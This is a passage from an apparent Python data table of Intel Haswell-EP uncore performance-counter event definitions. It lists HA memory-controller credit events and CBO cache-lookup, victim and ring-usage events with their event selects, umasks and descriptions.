"Defn": "Counts the number of cycles when there are no \"regular\" credits available for posting writes from the HA into the iMC. In order to send writes into the memory controller, the HA must first acquire a credit for the iMC's WPQ (write pending queue). This queue is broken into regular credits/buffers that are used by general writes, and \"special\" requests such as ISOCH writes. This count only tracks the regular credits Common high banwidth workloads should be able to make use of all of the regular buffers, but it will be difficult (and uncommon) to make use of both the regular and special buffers at the same time. One can filter based on the memory controller channel. One or more channels can be tracked at a given time.",
"Desc": "HA iMC CHN0 WPQ Credits Empty - Regular",
"EvSel": 24,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "b00001000",
},
# CBO:
"CBO.BOUNCE_CONTROL": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Desc": "Bounce Control",
"EvSel": 10,
"ExtSel": "",
},
"CBO.CLOCKTICKS": {
"Box": "CBO",
"Category": "CBO UCLK Events",
"Counters": "0-3",
"Desc": "Uncore Clocks",
"EvSel": 0,
"ExtSel": "",
},
"CBO.COUNTER0_OCCUPANCY": {
"Box": "CBO",
"Category": "CBO OCCUPANCY Events",
"Counters": "0-3",
"Defn": "Since occupancy counts can only be captured in the Cbo's 0 counter, this event allows a user to capture occupancy related information by filtering the Cb0 occupancy count captured in Counter 0. The filtering available is found in the control register - threshold, invert and edge detect. E.g. setting threshold to 1 can effectively monitor how many cycles the monitored queue has an entry.",
"Desc": "Counter 0 Occupancy",
"EvSel": 31,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
},
"CBO.FAST_ASSERTED": {
"Box": "CBO",
"Category": "CBO EGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles either the local distress or incoming distress signals are asserted. Incoming distress includes both up and dn.",
"Desc": "FaST wire asserted",
"EvSel": 9,
"ExtSel": "",
},
"CBO.LLC_LOOKUP": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of times the LLC was accessed - this includes code, data, prefetches and hints coming from L2. This has numerous filters available. Note the non-standard filtering equation. This event will count requests that lookup the cache multiple times with multiple increments. One must ALWAYS set umask bit 0 and select a state or states to match. Otherwise, the event will count nothing. CBoGlCtrl[22:18] bits correspond to [FMESI] state.",
"Desc": "Cache Lookups",
"EvSel": 52,
"ExtSel": "",
"Notes": "Bit 0 of the umask must always be set for this event. This allows us to match a given state (or states). The state is programmed in Cn_MSR_PMON_BOX_FILTER.state. The state field is a bit mask, so you can select (and monitor) multiple states at a time. 0 = I (miss), 1 = S, 2 = E, 3 = M, 4 = F. For example, if you wanted to monitor F and S hits, you could set 10010b in the 5-bit state field. To monitor any lookup, set the field to 0x1F.",
},
"CBO.LLC_LOOKUP.REMOTE_SNOOP": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of times the LLC was accessed - this includes code, data, prefetches and hints coming from L2. This has numerous filters available. Note the non-standard filtering equation. This event will count requests that lookup the cache multiple times with multiple increments. One must ALWAYS set umask bit 0 and select a state or states to match. Otherwise, the event will count nothing. CBoGlCtrl[22:18] bits correspond to [FMESI] state.",
"Desc": "Cache Lookups",
"EvSel": 52,
"ExtSel": "",
"Notes": "Bit 0 of the umask must always be set for this event. This allows us to match a given state (or states). The state is programmed in Cn_MSR_PMON_BOX_FILTER.state. The state field is a bit mask, so you can select (and monitor) multiple states at a time. 0 = I (miss), 1 = S, 2 = E, 3 = M, 4 = F. For example, if you wanted to monitor F and S hits, you could set 10010b in the 5-bit state field. To monitor any lookup, set the field to 0x1F.",
"Umask": "b00001001",
},
"CBO.LLC_LOOKUP.READ": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of times the LLC was accessed - this includes code, data, prefetches and hints coming from L2. This has numerous filters available. Note the non-standard filtering equation. This event will count requests that lookup the cache multiple times with multiple increments. One must ALWAYS set umask bit 0 and select a state or states to match. Otherwise, the event will count nothing. CBoGlCtrl[22:18] bits correspond to [FMESI] state.",
"Desc": "Cache Lookups",
"EvSel": 52,
"ExtSel": "",
"Notes": "Bit 0 of the umask must always be set for this event. This allows us to match a given state (or states). The state is programmed in Cn_MSR_PMON_BOX_FILTER.state. The state field is a bit mask, so you can select (and monitor) multiple states at a time. 0 = I (miss), 1 = S, 2 = E, 3 = M, 4 = F. For example, if you wanted to monitor F and S hits, you could set 10010b in the 5-bit state field. To monitor any lookup, set the field to 0x1F.",
"Umask": "b00100001",
},
"CBO.LLC_LOOKUP.DATA_READ": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of times the LLC was accessed - this includes code, data, prefetches and hints coming from L2. This has numerous filters available. Note the non-standard filtering equation. This event will count requests that lookup the cache multiple times with multiple increments. One must ALWAYS set umask bit 0 and select a state or states to match. Otherwise, the event will count nothing. CBoGlCtrl[22:18] bits correspond to [FMESI] state.",
"Desc": "Cache Lookups",
"EvSel": 52,
"ExtSel": "",
"Notes": "Bit 0 of the umask must always be set for this event. This allows us to match a given state (or states). The state is programmed in Cn_MSR_PMON_BOX_FILTER.state. The state field is a bit mask, so you can select (and monitor) multiple states at a time. 0 = I (miss), 1 = S, 2 = E, 3 = M, 4 = F. For example, if you wanted to monitor F and S hits, you could set 10010b in the 5-bit state field. To monitor any lookup, set the field to 0x1F.",
"Umask": "b00000011",
},
"CBO.LLC_LOOKUP.WRITE": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of times the LLC was accessed - this includes code, data, prefetches and hints coming from L2. This has numerous filters available. Note the non-standard filtering equation. This event will count requests that lookup the cache multiple times with multiple increments. One must ALWAYS set umask bit 0 and select a state or states to match. Otherwise, the event will count nothing. CBoGlCtrl[22:18] bits correspond to [FMESI] state.",
"Desc": "Cache Lookups",
"EvSel": 52,
"ExtSel": "",
"Notes": "Bit 0 of the umask must always be set for this event. This allows us to match a given state (or states). The state is programmed in Cn_MSR_PMON_BOX_FILTER.state. The state field is a bit mask, so you can select (and monitor) multiple states at a time. 0 = I (miss), 1 = S, 2 = E, 3 = M, 4 = F. For example, if you wanted to monitor F and S hits, you could set 10010b in the 5-bit state field. To monitor any lookup, set the field to 0x1F.",
"Umask": "b00000101",
},
"CBO.LLC_LOOKUP.ANY": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of times the LLC was accessed - this includes code, data, prefetches and hints coming from L2. This has numerous filters available. Note the non-standard filtering equation. This event will count requests that lookup the cache multiple times with multiple increments. One must ALWAYS set umask bit 0 and select a state or states to match. Otherwise, the event will count nothing. CBoGlCtrl[22:18] bits correspond to [FMESI] state.",
"Desc": "Cache Lookups",
"EvSel": 52,
"ExtSel": "",
"Notes": "Bit 0 of the umask must always be set for this event. This allows us to match a given state (or states). The state is programmed in Cn_MSR_PMON_BOX_FILTER.state. The state field is a bit mask, so you can select (and monitor) multiple states at a time. 0 = I (miss), 1 = S, 2 = E, 3 = M, 4 = F. For example, if you wanted to monitor F and S hits, you could set 10010b in the 5-bit state field. To monitor any lookup, set the field to 0x1F.",
"Umask": "b00010001",
},
"CBO.LLC_LOOKUP.NID": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of times the LLC was accessed - this includes code, data, prefetches and hints coming from L2. This has numerous filters available. Note the non-standard filtering equation. This event will count requests that lookup the cache multiple times with multiple increments. One must ALWAYS set umask bit 0 and select a state or states to match. Otherwise, the event will count nothing. CBoGlCtrl[22:18] bits correspond to [FMESI] state.",
"Desc": "Cache Lookups",
"EvSel": 52,
"ExtSel": "",
"Notes": "Bit 0 of the umask must always be set for this event. This allows us to match a given state (or states). The state is programmed in Cn_MSR_PMON_BOX_FILTER.state. The state field is a bit mask, so you can select (and monitor) multiple states at a time. 0 = I (miss), 1 = S, 2 = E, 3 = M, 4 = F. For example, if you wanted to monitor F and S hits, you could set 10010b in the 5-bit state field. To monitor any lookup, set the field to 0x1F.",
"Umask": "b01000001",
},
"CBO.LLC_VICTIMS": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of lines that were victimized on a fill. This can be filtered by the state that the line was in.",
"Desc": "Lines Victimized",
"EvSel": 55,
"ExtSel": "",
},
"CBO.LLC_VICTIMS.E_STATE": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of lines that were victimized on a fill. This can be filtered by the state that the line was in.",
"Desc": "Lines Victimized",
"EvSel": 55,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"CBO.LLC_VICTIMS.M_STATE": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of lines that were victimized on a fill. This can be filtered by the state that the line was in.",
"Desc": "Lines Victimized",
"EvSel": 55,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"CBO.LLC_VICTIMS.NID": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of lines that were victimized on a fill. This can be filtered by the state that the line was in.",
"Desc": "Lines Victimized",
"EvSel": 55,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"CBO.LLC_VICTIMS.MISS": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of lines that were victimized on a fill. This can be filtered by the state that the line was in.",
"Desc": "Lines Victimized",
"EvSel": 55,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"CBO.LLC_VICTIMS.I_STATE": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of lines that were victimized on a fill. This can be filtered by the state that the line was in.",
"Desc": "Lines Victimized",
"EvSel": 55,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"CBO.LLC_VICTIMS.F_STATE": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Counters": "0-3",
"Defn": "Counts the number of lines that were victimized on a fill. This can be filtered by the state that the line was in.",
"Desc": "Lines Victimized",
"EvSel": 55,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"CBO.MISC": {
"Box": "CBO",
"Category": "CBO MISC Events",
"Counters": "0-3",
"Defn": "Miscellaneous events in the Cbo.",
"Desc": "Cbo Misc",
"EvSel": 57,
"ExtSel": "",
},
"CBO.MISC.STARTED": {
"Box": "CBO",
"Category": "CBO MISC Events",
"Counters": "0-3",
"Defn": "Miscellaneous events in the Cbo.",
"Desc": "Cbo Misc",
"EvSel": 57,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"CBO.MISC.RFO_HIT_S": {
"Box": "CBO",
"Category": "CBO MISC Events",
"Counters": "0-3",
"Defn": "Miscellaneous events in the Cbo.",
"Desc": "Cbo Misc",
"EvSel": 57,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"CBO.MISC.CVZERO_PREFETCH_VICTIM": {
"Box": "CBO",
"Category": "CBO MISC Events",
"Counters": "0-3",
"Defn": "Miscellaneous events in the Cbo.",
"Desc": "Cbo Misc",
"EvSel": 57,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"CBO.MISC.CVZERO_PREFETCH_MISS": {
"Box": "CBO",
"Category": "CBO MISC Events",
"Counters": "0-3",
"Defn": "Miscellaneous events in the Cbo.",
"Desc": "Cbo Misc",
"EvSel": 57,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"CBO.MISC.RSPI_WAS_FSE": {
"Box": "CBO",
"Category": "CBO MISC Events",
"Counters": "0-3",
"Defn": "Miscellaneous events in the Cbo.",
"Desc": "Cbo Misc",
"EvSel": 57,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"CBO.MISC.WC_ALIASING": {
"Box": "CBO",
"Category": "CBO MISC Events",
"Counters": "0-3",
"Defn": "Miscellaneous events in the Cbo.",
"Desc": "Cbo Misc",
"EvSel": 57,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"CBO.RING_AD_USED": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
},
"CBO.RING_AD_USED.UP": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00000011",
},
"CBO.RING_AD_USED.UP_EVEN": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxxxx1",
},
"CBO.RING_AD_USED.DOWN": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00001100",
},
"CBO.RING_AD_USED.DOWN_EVEN": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxx1xx",
},
"CBO.RING_AD_USED.UP_ODD": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxxx1x",
},
"CBO.RING_AD_USED.DOWN_ODD": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxx1xxx",
},
"CBO.RING_AD_USED.ALL": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00001111",
},
"CBO.RING_AK_USED": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
},
"CBO.RING_AK_USED.UP_EVEN": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxxxx1",
},
"CBO.RING_AK_USED.UP": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00000011",
},
"CBO.RING_AK_USED.DOWN_ODD": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxx1xxx",
},
"CBO.RING_AK_USED.ALL": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00001111",
},
"CBO.RING_AK_USED.UP_ODD": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxxx1x",
},
"CBO.RING_AK_USED.DOWN": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00001100",
},
"CBO.RING_AK_USED.DOWN_EVEN": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxx1xx",
},
"CBO.RING_BL_USED": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
},
"CBO.RING_BL_USED.DOWN": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00001100",
},
"CBO.RING_BL_USED.DOWN_EVEN": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxx1xx",
},
"CBO.RING_BL_USED.UP_ODD": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxxx1x",
},
"CBO.RING_BL_USED.DOWN_ODD": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxx1xxx",
},
"CBO.RING_BL_USED.ALL": {
"Box": "CBO",
